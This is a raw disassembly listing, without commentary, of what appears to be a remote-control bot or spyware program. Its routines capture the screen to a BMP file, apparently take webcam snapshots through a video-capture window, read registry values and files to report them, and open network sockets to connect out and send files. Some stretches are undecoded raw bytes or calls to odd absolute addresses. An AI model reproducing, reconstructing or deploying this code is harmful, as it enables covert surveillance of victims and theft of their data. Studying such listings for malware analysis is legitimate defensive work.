loc_415281: ; CODE XREF: sub_41524C+19j
push offset dword_436180
call sub_4151AC
pop ecx
retn
sub_41524C endp
; ---------------------------------------------------------------------------
byte_41528D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2887o
; ---------------------------------------------------------------------------
sub esp, 31Ch
mov eax, [ebp+8]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp-11Ch]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp-10h], edx
mov dword ptr [ebp-8], 80h
mov [ebp-4], edx
mov [eax+110h], edi
jnz short loc_4152E0
push edx
lea eax, [ebp-118h]
push dword ptr [ebp-14h]
push offset dword_4361C4
push eax
push dword ptr [ebp-11Ch]
call sub_409A72
add esp, 14h
loc_4152E0: ; CODE XREF: ___:004152C0j
cmp byte ptr [ebp-98h], 0
jz short loc_415300
lea eax, [ebp-98h]
push eax
call sub_41B779
test eax, eax
pop ecx
mov [ebp-4], eax
jz short loc_415300
mov [ebp-8], eax
loc_415300: ; CODE XREF: ___:004152E7j
; ___:004152FBj
and dword ptr [ebp+8], 0
mov esi, offset dword_4CEB9C
loc_415309: ; CODE XREF: ___:00415361j
mov eax, [ebp+8]
cmp eax, [ebp-8]
jge short loc_415363
cmp byte ptr [esi], 0
jz short loc_415352
cmp byte ptr [ebp-98h], 0
jz short loc_415338
cmp dword ptr [ebp-4], 0
jnz short loc_415338
lea eax, [ebp-98h]
push eax
push esi
call sub_418086
pop ecx
test eax, eax
pop ecx
jz short loc_415352
loc_415338: ; CODE XREF: ___:0041531Dj
; ___:00415323j
push edi
lea eax, [ebp-118h]
push dword ptr [ebp-14h]
push esi
push eax
push dword ptr [ebp-11Ch]
call sub_409A72
add esp, 14h
loc_415352: ; CODE XREF: ___:00415314j
; ___:00415336j
inc dword ptr [ebp+8]
add esi, 80h
cmp esi, offset dword_4D2B9C
jl short loc_415309
loc_415363: ; CODE XREF: ___:0041530Fj
lea eax, [ebp-31Ch]
push offset dword_4361A8
push eax
call sub_41B886
xor esi, esi
pop ecx
cmp [ebp-10h], esi
pop ecx
jnz short loc_41539D
push esi
lea eax, [ebp-31Ch]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-118h]
push eax
push dword ptr [ebp-11Ch]
call sub_409A72
add esp, 14h
loc_41539D: ; CODE XREF: ___:0041537Bj
lea eax, [ebp-31Ch]
push eax
call sub_4151AC
push dword ptr [ebp-18h]
call sub_40B412
pop ecx
pop ecx
push esi
; ---------------------------------------------------------------------------
dd 2BAC47E8h, 5E5F9002h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4153BC proc near ; CODE XREF: sub_401ACD+734Fp
var_484 = byte ptr -484h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = word ptr -78h
var_76 = word ptr -76h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = dword ptr -26h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 484h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push esi
push offset aDisplay ; "DISPLAY"
call dword_4CAF60
mov edi, eax
cmp edi, esi
mov [ebp+var_20], edi
jz loc_4155F0
push 8
push edi
call dword_4CAF7C
push 0Ah
push edi
mov [ebp+var_8], eax
call dword_4CAF7C
push 0Ch
push edi
mov [ebp+var_C], eax
call dword_4CAF7C
cmp eax, 8
mov [ebp+var_10], eax
ja short loc_41541E
push 18h
push edi
call dword_4CAF7C
mov ebx, 100h
jmp short loc_415420
; ---------------------------------------------------------------------------
loc_41541E: ; CODE XREF: sub_4153BC+50j
xor ebx, ebx
loc_415420: ; CODE XREF: sub_4153BC+60j
push edi
call dword_4CAFC0
cmp eax, esi
mov [ebp+var_4], eax
jz loc_4155D5
mov eax, [ebp+var_8]
push esi
mov [ebp+var_80], eax
mov eax, [ebp+var_C]
mov [ebp+var_7C], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_76], ax
lea eax, [ebp+var_18]
push esi
push eax
lea eax, [ebp+var_84]
push 1
push eax
push edi
mov [ebp+var_84], 28h
mov [ebp+var_78], 1
mov [ebp+var_74], esi
mov [ebp+var_70], esi
mov [ebp+var_6C], esi
mov [ebp+var_68], esi
mov [ebp+var_64], ebx
mov [ebp+var_60], ebx
call dword_4CAFB8
cmp eax, esi
mov [ebp+var_1C], eax
jz loc_4155E0
push eax
push [ebp+var_4]
call dword_4CAE44
cmp eax, esi
jz loc_4155E0
cmp eax, 0FFFFFFFFh
jz loc_4155E0
push 0CC0020h
push esi
push esi
push edi
push [ebp+var_C]
push [ebp+var_8]
push esi
push esi
push [ebp+var_4]
call dword_4CAFBC
test eax, eax
jz loc_4155E0
cmp ebx, esi
jz short loc_4154DD
lea eax, [ebp+var_484]
push eax
push ebx
push esi
push [ebp+var_4]
call dword_4CAE98
mov ebx, eax
loc_4154DD: ; CODE XREF: sub_4153BC+10Bj
mov edi, [ebp+var_10]
mov ecx, [ebp+var_8]
imul edi, [ebp+var_C]
imul edi, ecx
mov eax, ebx
push esi
shr edi, 3
shl eax, 2
mov [ebp+var_8], eax
push 80h
lea edx, [eax+edi+36h]
add eax, 36h
push 2
mov [ebp+var_26], eax
mov eax, [ebp+var_C]
push esi
push esi
push 40000000h
push [ebp+arg_0]
mov [ebp+var_50], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_30], 4D42h
mov [ebp+var_2E], edx
mov [ebp+var_2A], si
mov [ebp+var_28], si
mov [ebp+var_58], 28h
mov [ebp+var_54], ecx
mov [ebp+var_4C], 1
mov [ebp+var_4A], ax
mov [ebp+var_48], esi
mov [ebp+var_44], esi
mov [ebp+var_40], esi
mov [ebp+var_3C], esi
mov [ebp+var_38], ebx
mov [ebp+var_34], esi
nop
call near ptr 26F07E8h
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_4155C0
lea ecx, [ebp+var_14]
push esi
push ecx
lea ecx, [ebp+var_30]
push 0Eh
push ecx
push eax
nop
call near ptr 26E0000h
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_58]
push 28h
push eax
push [ebp+arg_0]
nop
call near ptr 26E0000h
cmp ebx, esi
jz short loc_4155A2
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_484]
push [ebp+var_8]
push eax
push [ebp+arg_0]
nop
call near ptr 26E0000h
loc_4155A2: ; CODE XREF: sub_4153BC+1CCj
lea eax, [ebp+var_14]
push esi
push eax
push edi
push [ebp+var_18]
push [ebp+arg_0]
nop
call near ptr 26E0000h
push [ebp+arg_0]
call near ptr 265098Dh
nop
push 1
pop esi
loc_4155C0: ; CODE XREF: sub_4153BC+1A2j
push [ebp+var_1C]
call dword_4CAED0
push [ebp+var_4]
call dword_4CAE30
mov edi, [ebp+var_20]
loc_4155D5: ; CODE XREF: sub_4153BC+70j
push edi
call dword_4CAE30
mov eax, esi
jmp short loc_4155F2
; ---------------------------------------------------------------------------
loc_4155E0: ; CODE XREF: sub_4153BC+C7j
; sub_4153BC+D9j ...
push edi
call dword_4CAE30
push [ebp+var_4]
call dword_4CAE30
loc_4155F0: ; CODE XREF: sub_4153BC+23j
xor eax, eax
loc_4155F2: ; CODE XREF: sub_4153BC+222j
pop edi
pop esi
pop ebx
leave
retn
sub_4153BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4155F7 proc near ; CODE XREF: sub_401ACD+7476p
var_34 = byte ptr -34h
var_20 = dword ptr -20h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push dword_4D2BA0
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_4CAEC4
mov edi, eax
cmp edi, ebx
mov [ebp+var_4], edi
jnz short loc_415635
mov eax, esi
jmp loc_4157EB
; ---------------------------------------------------------------------------
loc_415635: ; CODE XREF: sub_4155F7+35j
push edi
call dword_4CAF14
test eax, eax
jz short loc_415652
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_4CAFD0
jmp short loc_415654
; ---------------------------------------------------------------------------
loc_415652: ; CODE XREF: sub_4155F7+47j
xor eax, eax
loc_415654: ; CODE XREF: sub_4155F7+59j
cmp eax, ebx
jnz short loc_41565F
loc_415658: ; CODE XREF: sub_4155F7+88j
; sub_4155F7+BCj
mov ebx, esi
jmp loc_4157E0
; ---------------------------------------------------------------------------
loc_41565F: ; CODE XREF: sub_4155F7+5Fj
push edi
call dword_4CAF14
test eax, eax
jz short loc_41567C
lea eax, [ebp+var_34]
push eax
push 2Ch
push 40Eh
push edi
call dword_4CAFD0
loc_41567C: ; CODE XREF: sub_4155F7+71j
cmp [ebp+var_20], ebx
jz short loc_415658
push edi
call dword_4CAF14
test eax, eax
mov edi, 42Ch
jz short loc_4156A2
push ebx
push ebx
push edi
push [ebp+var_4]
call dword_4CAFD0
mov [ebp+arg_4], eax
jmp short loc_4156A5
; ---------------------------------------------------------------------------
loc_4156A2: ; CODE XREF: sub_4155F7+98j
mov [ebp+arg_4], ebx
loc_4156A5: ; CODE XREF: sub_4155F7+A9j
push [ebp+arg_4]
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jz short loc_415658
push [ebp+arg_4]
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4156CC
push 1
pop ebx
jmp loc_4157E0
; ---------------------------------------------------------------------------
loc_4156CC: ; CODE XREF: sub_4155F7+CBj
push [ebp+var_4]
call dword_4CAF14
test eax, eax
jz short loc_4156E9
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_4CAFD0
loc_4156E9: ; CODE XREF: sub_4155F7+E0j
push [ebp+arg_4]
push [ebp+var_8]
push esi
call sub_41C310
mov ecx, [ebp+arg_8]
add esp, 0Ch
cmp ecx, ebx
jg short loc_415704
mov ecx, 280h
loc_415704: ; CODE XREF: sub_4155F7+106j
mov eax, [ebp+arg_C]
cmp eax, ebx
jg short loc_415710
mov eax, 1E0h
loc_415710: ; CODE XREF: sub_4155F7+112j
push [ebp+var_4]
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_4CAF14
test eax, eax
mov edi, 42Dh
jz short loc_41575A
push esi
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_4CAFD0
loc_41575A: ; CODE XREF: sub_4155F7+153j
push [ebp+var_4]
call dword_4CAF14
test eax, eax
jz short loc_415777
push ebx
push ebx
push 43Dh
push [ebp+var_4]
call dword_4CAFD0
loc_415777: ; CODE XREF: sub_4155F7+16Ej
push [ebp+var_4]
call dword_4CAF14
test eax, eax
jz short loc_415796
push [ebp+arg_0]
push ebx
push 419h
push [ebp+var_4]
call dword_4CAFD0
loc_415796: ; CODE XREF: sub_4155F7+18Bj
push [ebp+var_4]
call dword_4CAF14
test eax, eax
jz short loc_4157B3
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_4CAFD0
loc_4157B3: ; CODE XREF: sub_4155F7+1AAj
push [ebp+var_8]
call sub_41B0B1
push esi
call sub_41B0B1
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CAF14
test eax, eax
jz short loc_4157E0
push ebx
push ebx
push 40Bh
push [ebp+var_4]
call dword_4CAFD0
loc_4157E0: ; CODE XREF: sub_4155F7+63j
; sub_4155F7+D0j ...
push [ebp+var_4]
call dword_4CB024
mov eax, ebx
loc_4157EB: ; CODE XREF: sub_4155F7+39j
pop edi
pop esi
pop ebx
leave
retn
sub_4155F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4157F0 proc near ; CODE XREF: sub_401ACD+752Ep
var_90 = byte ptr -90h
var_7C = dword ptr -7Ch
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 90h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push dword_4D2BA0
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_4CAEC4
mov edi, eax
cmp edi, ebx
jnz short loc_41582E
mov eax, esi
jmp loc_415A2A
; ---------------------------------------------------------------------------
loc_41582E: ; CODE XREF: sub_4157F0+35j
push edi
call dword_4CAF14
test eax, eax
jz short loc_41584B
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_4CAFD0
jmp short loc_41584D
; ---------------------------------------------------------------------------
loc_41584B: ; CODE XREF: sub_4157F0+47j
xor eax, eax
loc_41584D: ; CODE XREF: sub_4157F0+59j
cmp eax, ebx
jnz short loc_415858
loc_415851: ; CODE XREF: sub_4157F0+8Bj
; sub_4157F0+BCj
mov ebx, esi
jmp loc_415A21
; ---------------------------------------------------------------------------
loc_415858: ; CODE XREF: sub_4157F0+5Fj
push edi
call dword_4CAF14
test eax, eax
jz short loc_415878
lea eax, [ebp+var_90]
push eax
push 2Ch
push 40Eh
push edi
call dword_4CAFD0
loc_415878: ; CODE XREF: sub_4157F0+71j
cmp [ebp+var_7C], ebx
jz short loc_415851
push edi
call dword_4CAF14
test eax, eax
jz short loc_41589B
push ebx
push ebx
push 42Ch
push edi
call dword_4CAFD0
mov [ebp+arg_4], eax
jmp short loc_41589E
; ---------------------------------------------------------------------------
loc_41589B: ; CODE XREF: sub_4157F0+96j
mov [ebp+arg_4], ebx
loc_41589E: ; CODE XREF: sub_4157F0+A9j
push [ebp+arg_4]
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_415851
push [ebp+arg_4]
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4158C5
push 1
pop ebx
jmp loc_415A21
; ---------------------------------------------------------------------------
loc_4158C5: ; CODE XREF: sub_4157F0+CBj
push edi
call dword_4CAF14
test eax, eax
jz short loc_4158E2
push [ebp+var_4]
push [ebp+arg_4]
push 42Ch
push edi
call dword_4CAFD0
loc_4158E2: ; CODE XREF: sub_4157F0+DEj
push [ebp+arg_4]
push [ebp+var_4]
push esi
call sub_41C310
mov ecx, [ebp+arg_C]
add esp, 0Ch
cmp ecx, ebx
jg short loc_4158FD
mov ecx, 0A0h
loc_4158FD: ; CODE XREF: sub_4157F0+106j
mov eax, [ebp+arg_10]
cmp eax, ebx
jg short loc_415907
push 78h
pop eax
loc_415907: ; CODE XREF: sub_4157F0+112j
push edi
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_4CAF14
test eax, eax
jz short loc_41594C
push esi
push [ebp+arg_4]
push 42Dh
push edi
call dword_4CAFD0
loc_41594C: ; CODE XREF: sub_4157F0+14Aj
push edi
call dword_4CAF14
test eax, eax
jz short loc_415969
lea eax, [ebp+var_64]
push eax
push 60h
push 441h
push edi
call dword_4CAFD0
loc_415969: ; CODE XREF: sub_4157F0+165j
push edi
mov [ebp+var_60], ebx
mov [ebp+var_3C], ebx
mov [ebp+var_38], ebx
mov [ebp+var_34], ebx
mov [ebp+var_30], 1
mov [ebp+var_2C], 5
mov [ebp+var_64], 1046Ah
call dword_4CAF14
test eax, eax
jz short loc_4159A7
lea eax, [ebp+var_64]
push eax
push 60h
push 440h
push edi
call dword_4CAFD0
loc_4159A7: ; CODE XREF: sub_4157F0+1A3j
push edi
call dword_4CAF14
test eax, eax
jz short loc_4159C2
push [ebp+arg_0]
push ebx
push 414h
push edi
call dword_4CAFD0
loc_4159C2: ; CODE XREF: sub_4157F0+1C0j
push edi
call dword_4CAF14
test eax, eax
jz short loc_4159DB
push ebx
push ebx
push 43Eh
push edi
call dword_4CAFD0
loc_4159DB: ; CODE XREF: sub_4157F0+1DBj
push edi
call dword_4CAF14
test eax, eax
jz short loc_4159F8
push [ebp+var_4]
push [ebp+arg_4]
push 42Dh
push edi
call dword_4CAFD0
loc_4159F8: ; CODE XREF: sub_4157F0+1F4j
push [ebp+var_4]
call sub_41B0B1
push esi
call sub_41B0B1
pop ecx
pop ecx
push edi
call dword_4CAF14
test eax, eax
jz short loc_415A21
push ebx
push ebx
push 40Bh
push edi
call dword_4CAFD0
loc_415A21: ; CODE XREF: sub_4157F0+63j
; sub_4157F0+D0j ...
push edi
call dword_4CB024
mov eax, ebx
loc_415A2A: ; CODE XREF: sub_4157F0+39j
pop edi
pop esi
pop ebx
leave
retn
sub_4157F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415A2F proc near ; CODE XREF: sub_401ACD+25F1p
var_3F4 = byte ptr -3F4h
var_2F0 = byte ptr -2F0h
var_F0 = byte ptr -0F0h
var_70 = byte ptr -70h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F4h
push ebx
xor ebx, ebx
cmp off_4361F4, ebx
mov [ebp+var_C], 80h
jz loc_415BD0
push esi
push edi
mov eax, offset off_4361F4
mov esi, offset dword_436200
mov edi, offset dword_4373F8
loc_415A5F: ; CODE XREF: sub_415A2F+199j
lea ecx, [ebp+var_4]
push ecx
push 20019h
push ebx
push dword ptr [eax]
push dword ptr [esi-10h]
call dword_4CAFE4
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_F0]
push eax
push ebx
push ebx
push dword ptr [esi-8]
push [ebp+var_4]
call dword_4CAE74
test eax, eax
jnz loc_415BB6
mov eax, [esi]
cmp eax, ebx
jz loc_415B7A
push eax
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_3F4]
push offset dword_4293BC
push eax
call sub_41B886
lea eax, [ebp+var_3F4]
push offset aR ; "r"
push eax
call sub_41B4C2
add esp, 18h
cmp eax, ebx
mov [ebp+var_8], eax
jz loc_415BB6
push eax
loc_415AD8: ; CODE XREF: sub_415A2F+D4j
lea eax, [ebp+var_70]
push 64h
push eax
call sub_41BB4F
add esp, 0Ch
test eax, eax
jz loc_415B6F
push dword ptr [esi+4]
lea eax, [ebp+var_70]
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_415B05
push [ebp+var_8]
jmp short loc_415AD8
; ---------------------------------------------------------------------------
loc_415B05: ; CODE XREF: sub_415A2F+CFj
push 3Dh
push dword ptr [esi+4]
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jz short loc_415B33
lea eax, [ebp+var_70]
push offset asc_4373F4 ; "="
push eax
call sub_41C0F4
push offset asc_4373F4 ; "="
push ebx
call sub_41C0F4
add esp, 10h
jmp short loc_415B36
; ---------------------------------------------------------------------------
loc_415B33: ; CODE XREF: sub_415A2F+E4j
lea eax, [ebp+var_70]
loc_415B36: ; CODE XREF: sub_415A2F+102j
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp+var_2F0]
push ebx
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_2F0]
push eax
call sub_4151AC
add esp, 18h
loc_415B6F: ; CODE XREF: sub_415A2F+B9j
push [ebp+var_8]
call sub_41B05B
pop ecx
jmp short loc_415BB6
; ---------------------------------------------------------------------------
loc_415B7A: ; CODE XREF: sub_415A2F+6Aj
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_2F0]
push eax
call sub_4151AC
add esp, 28h
loc_415BB6: ; CODE XREF: sub_415A2F+60j
; sub_415A2F+A2j ...
push [ebp+var_4]
call dword_4CAF50
add esi, 18h
cmp [esi-0Ch], ebx
lea eax, [esi-0Ch]
jnz loc_415A5F
pop edi
pop esi
loc_415BD0: ; CODE XREF: sub_415A2F+19j
pop ebx
leave
retn
sub_415A2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415BD3 proc near ; CODE XREF: ___:00416278p
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CAFF4
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_415C4F
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4CAF74
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CAFB4
cmp eax, esi
jnz short loc_415C34
push [ebp+arg_0]
call dword_4CAFF8
test eax, eax
jz short loc_415C4F
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_415C34: ; CODE XREF: sub_415BD3+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4CAF1C
cmp eax, esi
jnz short loc_415C53
push edi
call dword_4CB00C
loc_415C4F: ; CODE XREF: sub_415BD3+1Bj
; sub_415BD3+58j
mov eax, esi
jmp short loc_415C55
; ---------------------------------------------------------------------------
loc_415C53: ; CODE XREF: sub_415BD3+73j
mov eax, edi
loc_415C55: ; CODE XREF: sub_415BD3+7Ej
pop edi
pop esi
leave
retn
sub_415BD3 endp
; ---------------------------------------------------------------------------
byte_415C59 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+A1Eo
dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah
dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh, 1B0B0h
dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh, 59FFFB83h
dd 858D5275h, 0FFFFEE4Ch, 43747468h, 0DBE85000h, 3300005Bh
dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h
dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h
dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 0E8905659h
dd 22BA314h, 43D12868h, 6DE85300h, 5900003Fh, 59FFF883h
dd 858D5975h, 0FFFFEE4Ch, 43744468h, 77E85000h, 3300005Bh
dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h
dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h
dd 6DE850FFh, 59FFFFF4h, 0C15FF53h, 0FF004CB0h, 0C3E8F075h
dd 59FFFF56h, 0A9E89056h, 6A022BA2h, 5CE89064h, 330225A6h
dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch
dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 8C15FF53h, 85004CAFh
dd 8D387EC0h, 0FFEE4C85h, 999868FFh, 0E8500042h, 6124h
dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h
dd 4E89064h, 6A0225A6h, 5580E80Ah, 0C085FFFFh, 8DA37559h
dd 0FFEE4C85h, 741068FFh, 0E8500043h, 5AB2h, 59F87D39h
dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h, 0FFFFFF6Ch
dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch, 0F3AAE850h
dd 5359FFFFh, 0B00C15FFh, 75FF004Ch, 5600E8F0h, 5759FFFFh
dd 0A1E6E890h
; ---------------------------------------------------------------------------
sub eax, [edx]
loc_415E1A: ; DATA XREF: sub_401ACD+7831o
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1FCh]
rep movsd
push 1
xor esi, esi
pop ebx
mov [ebp-10h], esi
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp-0Ch], esi
mov [ebp-20h], esi
call dword_4CAFF4
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp-18h], edi
jnz short loc_415E68
push offset unk_437574
jmp loc_416021
; ---------------------------------------------------------------------------
loc_415E68: ; CODE XREF: ___:00415E5Cj
push 10h
lea eax, [ebp-30h]
push esi
push eax
call sub_41B590
add esp, 0Ch
mov word ptr [ebp-30h], 2
push esi
call dword_4CAF74
mov [ebp-2Eh], ax
lea eax, [ebp-30h]
push 10h
push eax
push edi
mov [ebp-2Ch], esi
call dword_4CAFA0
test eax, eax
jz short loc_415EA6
push offset unk_437550
jmp loc_416021
; ---------------------------------------------------------------------------
loc_415EA6: ; CODE XREF: ___:00415E9Aj
lea eax, [ebp-1Ch]
mov dword ptr [ebp-1Ch], 10h
push eax
lea eax, [ebp-30h]
push eax
push edi
call dword_4CAF18
push dword ptr [ebp-2Eh]
call dword_4CAEA4
mov [ebp-4], eax
lea eax, [ebp-1E0h]
push eax
mov [ebp+8], esi
call sub_41AFE0
pop ecx
loc_415ED8: ; CODE XREF: ___:00415F09j
mov ecx, [ebp+8]
mov al, [ebp+ecx-1E0h]
cmp al, 20h
jnz short loc_415EEB
push 5Fh
pop eax
jmp short loc_415EEE
; ---------------------------------------------------------------------------
loc_415EEB: ; CODE XREF: ___:00415EE4j
movsx eax, al
loc_415EEE: ; CODE XREF: ___:00415EE9j
mov [ebp+ecx-604h], al
lea eax, [ebp-1E0h]
inc ecx
push eax
mov [ebp+8], ecx
call sub_41AFE0
cmp [ebp+8], eax
pop ecx
jbe short loc_415ED8
push ebx
push edi
call dword_4CAF9C
test eax, eax
jz short loc_415F21
push offset unk_437474
jmp loc_416021
; ---------------------------------------------------------------------------
loc_415F21: ; CODE XREF: ___:00415F15j
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp-1E0h]
push 80000000h
push eax
nop
call near ptr 26F07E8h
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_415F4B
push offset unk_437530
jmp loc_416021
; ---------------------------------------------------------------------------
loc_415F4B: ; CODE XREF: ___:00415F3Fj
push esi
push eax
call near ptr 2720B64h
nop
mov [ebp+8], eax
push eax
movzx eax, word ptr [ebp-4]
push eax
push dword ptr [ebp-1FCh]
call sub_40AC0F
pop ecx
push eax
call dword_4CAFB4
push eax
call dword_4CAF70
push eax
lea eax, [ebp-1E0h]
push eax
lea eax, [ebp-3FCh]
push offset dword_437518
push eax
call sub_41B886
push esi
lea eax, [ebp-3FCh]
push esi
push eax
lea eax, [ebp-0DCh]
push eax
push dword ptr [ebp-1FCh]
call sub_409A72
add esp, 2Ch
lea eax, [ebp-38h]
mov dword ptr [ebp-38h], 3Ch
mov [ebp-34h], esi
push eax
push esi
lea eax, [ebp-500h]
push esi
push eax
push esi
mov [ebp-4FCh], edi
mov [ebp-500h], ebx
call dword_4CAF5C
test eax, eax
jg short loc_415FFB
push esi
lea eax, [ebp-0DCh]
push dword ptr [ebp-54h]
push offset dword_437500
push eax
push dword ptr [ebp-1FCh]
call sub_409A72
jmp loc_41611F
; ---------------------------------------------------------------------------
loc_415FFB: ; CODE XREF: ___:00415FD9j
lea eax, [ebp-14h]
mov dword ptr [ebp-14h], 10h
push eax
lea eax, [ebp-48h]
push eax
push edi
call dword_4CB008
cmp eax, 0FFFFFFFFh
mov [ebp-1F8h], eax
jnz short loc_416034
push offset unk_4374DC
loc_416021: ; CODE XREF: ___:00415E63j
; ___:00415EA1j ...
lea eax, [ebp-3FCh]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_416122
; ---------------------------------------------------------------------------
loc_416034: ; CODE XREF: ___:0041601Aj
push edi
call dword_4CB00C
cmp [ebp+8], esi
jz loc_4160E6
mov edi, 400h
loc_416049: ; CODE XREF: ___:004160DDj
mov eax, [ebp+8]
mov [ebp-4], edi
cmp eax, edi
jge short loc_416056
mov [ebp-4], eax
loc_416056: ; CODE XREF: ___:00416051j
push edi
